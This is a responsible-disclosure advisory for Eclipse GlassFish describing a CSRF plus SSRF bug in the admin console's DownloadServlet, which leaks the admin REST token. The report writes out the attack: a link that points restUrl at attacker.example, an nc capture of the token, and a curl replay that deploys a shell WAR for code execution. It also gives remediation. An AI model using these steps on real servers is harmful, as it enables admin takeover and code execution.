[Eclipse Glassfish] Critical CSRF + SSRF in admingui DownloadServlet leaks admin gfresttoken (CVSS 9.6) (#442)
From ML: --- Dear Team, Hope you are doing well. I am reporting a security issue through this email in GlassFish. The report has been presented below. # Eclipse GlassFish — Security Advisory Submission Target: https://github.com/eclipse-ee4j/glassfish (master / 8.0.2 / 8.0.3-SNAPSHOT) Discovered: 2026-05-20 Reporter: Sujal Tuladhar (sujaltuladhar1231@gmail.com) ## Title CSRF + SSRF in DownloadServlet ContentSources leaks the admin `gfresttoken` to attacker-controlled host -> full unauthenticated takeover of Eclipse GlassFish admin domain. ## Severity Critical -- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H = 9.6 - Attack Vector: Network -- reachable from any network the admin browser can reach - Attack Complexity: Low -- one crafted URL, no race / no exotic state - Privileges Required: None -- attacker holds no GlassFish credential - User Interaction: Required -- admin must load the attacker URL once while logged in - Scope: Changed -- steals an out-of-band credential (REST token) that lets the attacker act as admin from any host until token expiry - C / I / A: High / High / High -- after token theft, attacker deploys arbitrary WAR -> arbitrary code execution as the GlassFish process user ## Affected component org.glassfish.main.admingui:console-common -- DownloadServlet (/download/*) and four registered ContentSource implementations: - org.glassfish.admingui.common.servlet.LogViewerContentSource (id "LogViewer") - org.glassfish.admingui.common.servlet.LogFilesContentSource (id "LogFiles") - org.glassfish.admingui.common.servlet.LBConfigContentSource (id "LBConfig") - org.glassfish.admingui.common.servlet.ClientStubsContentSource (id "ClientStubs") All four classes take an attacker-supplied `restUrl` request parameter, construct an endpoint from it, and let the Jersey client `JERSEY_CLIENT.target(endpoint)` issue an HTTP request to it -- with the admin user's `gfresttoken` attached as a Cookie header. The servlet is reachable at the admin listener (port 4848 by default) under the admin GUI war's root context. Web app web.xml requires the `admin` role on /*, but ordinary same-site CSRF gets us past that: a logged-in admin who loads the attacker URL in a browser session ships the admin session cookie automatically. ## Root cause (code) appserver/admingui/common/src/main/java/org/glassfish/admingui/common/servlet/LogViewerContentSource.java:57-70 HttpServletRequest request = (HttpServletRequest) ctx.getServletRequest(); String restUrl = request.getParameter("restUrl"); // attacker-controlled String start = request.getParameter("start"); String instanceName = request.getParameter("instanceName"); InputStream tmpFile = null; try { String endpoint = restUrl + "/view-log/"; // concat into URL Map<String, Object> attrsMap = new HashMap<String, Object>(); attrsMap.put("start", start); attrsMap.put("instanceName", instanceName); Response cr = RestUtil.getRequestFromServlet(request, endpoint, attrsMap); appserver/admingui/common/src/main/java/org/glassfish/admingui/common/util/RestUtil.java:791-799 public static Response getRequestFromServlet(HttpServletRequest request, String endpoint, Map<String, Object> attrs) { String token = (String) request.getSession().getAttribute(AdminConsoleAuthModule.REST_TOKEN); WebTarget target = targetWithQueryParams(JERSEY_CLIENT.target(endpoint), attrs); Response cr = target .request().cookie(new Cookie(REST_TOKEN_COOKIE, token)) // <-- sent OUTBOUND to attacker URL .get(Response.class); return cr; } REST_TOKEN_COOKIE is the literal "gfresttoken" -- the same cookie name accepted by the admin REST API (nucleus/admin/util/.../AdminCallbackHandler.java:60 and nucleus/admin/rest/.../RestAdapter.java:89). Possession of the token = ability to call /management/* as the admin until the token's `chooseTimeout` (default 30 minutes) elapses. The other three content sources have the identical pattern: - LogFilesContentSource.java:62-77 -- restUrl + "/collect-log-files", RestUtil.postRestRequestFromServlet(...) - LBConfigContentSource.java:71-86 -- restUrl + "/load-balancers/load-balancer/" + lbName + "/export-http-lb-config", RestUtil.postRestRequestFromServlet(...) - ClientStubsContentSource.java:62-76 -- restUrl + "/applications/application/" + appName + "/get-client-stubs", RestUtil.getRestRequestFromServlet(...) There is no validation that the URL points to the local DAS, no allow-list of hosts, no scheme restriction, and no CSRF token check on DownloadServlet (DownloadServlet.java:139-165). ## Exploit chain 1. Attacker hosts http://attacker.example/ and sends the admin this link: http://glassfish-host:4848/download ?contentSourceId=LogViewer &restUrl=http://attacker.example &start=0 &instanceName=server 2. Admin loads it while logged into the admin console. The container authorizes (admin role). DownloadServlet.doGet -> LogViewerContentSource.getInputStream -> RestUtil.getRequestFromServlet. Server issues: GET http://attacker.example/view-log/?start=0&instanceName=server Cookie: gfresttoken=<admin's live REST token> 3. Attacker logs the token, replays it from anywhere: curl -sk "http://glassfish-host:4848/management/domain/applications/application" \ -H "Cookie: gfresttoken=<stolen>" \ -H "X-Requested-By: GlassFish REST HTML interface" \ -F id=@/tmp/shell.war \ -F contextroot=/shell \ -F name=shell WAR deploys -> RCE as the GlassFish process user. The token survives admin password rotation, browser close, etc., until idle timeout. ## Why this is distinct from known CVEs - CVE-2024-9408 ("SSRF in console-common", <= 6.2.5) is listed as fixed in 7.x and 8.x, but the very same `restUrl`+`gfresttoken` sink still exists verbatim in 8.0.2 / master (HEAD 6cab4ce3aa). Either the original patch was applied to a different sibling, or the regression was reintroduced -- in either case the four ContentSource classes are unpatched on the current release. `git log --all` on those four files shows zero security-flavored commits, only formatting / Jakarta-namespace moves. - CVE-2024-9329 / CVE-2024-7312 (Host header / management redirect) only redirected the browser; they did not leak the REST token. - CVE-2026-2586 is an already-authenticated admin RCE; this finding requires NO admin credential -- just one logged-in admin victim -- and yields the same end state plus credential persistence. - CVE-2026-2587 is the gadget-handler EL injection (gadget.jsf + GadgetHandlers.java); different sink, different bug class. ## Reproduction (live, end-to-end) Tested against the GlassFish 8.0.2 binary distribution and master at 6cab4ce3aa. Domain started on portbase 14000 (admin listener 14848). Logged in via POST /j_security_check with default `admin` / empty password. With `nc -lk 17777` running on the attacker side, triggered: GET /download/log/?contentSourceId=LogViewer&restUrl=http://127.0.0.1:17777&start=0&instanceName=server Cookie: JSESSIONID=<admin's session> Captured verbatim: GET /view-log/?instanceName=server&start=0 HTTP/1.1 Cookie: $Version=1;gfresttoken=3cab0931c0eedd15953cd927e5925e0fd User-Agent: Jersey/4.0.2 (HttpUrlConnection 21.0.10) Host: 127.0.0.1:17777 Replayed: $ curl http://localhost:14848/management/domain \ -H "Cookie: gfresttoken=3cab0931c0eedd15953cd927e5925e0fd" HTTP/1.1 200 OK <full admin REST listing -- deploy, change-admin-password, osgi, ...> ## Remediation 1. Allow-list `restUrl` to the local DAS -- better, derive REST base server-side from serverContext and ignore the request parameter. 2. Stop attaching `gfresttoken` to outbound requests in RestUtil.getRequestFromServlet / postRestRequestFromServlet / siblings unless the target host matches the configured DAS. 3. Add CSRF protection (X-Requested-By or token + origin check) to DownloadServlet. Patch sketch: String restUrl = request.getParameter("restUrl"); URI parsed = URI.create(restUrl); if (!"localhost".equals(parsed.getHost()) && !"127.0.0.1".equals(parsed.getHost())) { throw new SecurityException("restUrl must target the local DAS"); } ## Disclosure intent Submitted via security@eclipse-foundation.org because GitHub Private Vulnerability Reporting is disabled on eclipse-ee4j/glassfish (the /security/advisories/new form returns HTTP 403). Non-revealing tracking issue is open at https://github.com/eclipse-ee4j/glassfish/issues/26035. Happy to coordinate on a fix window and CVE assignment. Thanks, Sujal Tuladhar sujaltuladhar1231@gmail.com
issue

Copyright © Eclipse Foundation AISBL. All rights reserved.     Privacy Policy | Terms of Use | Copyright Agent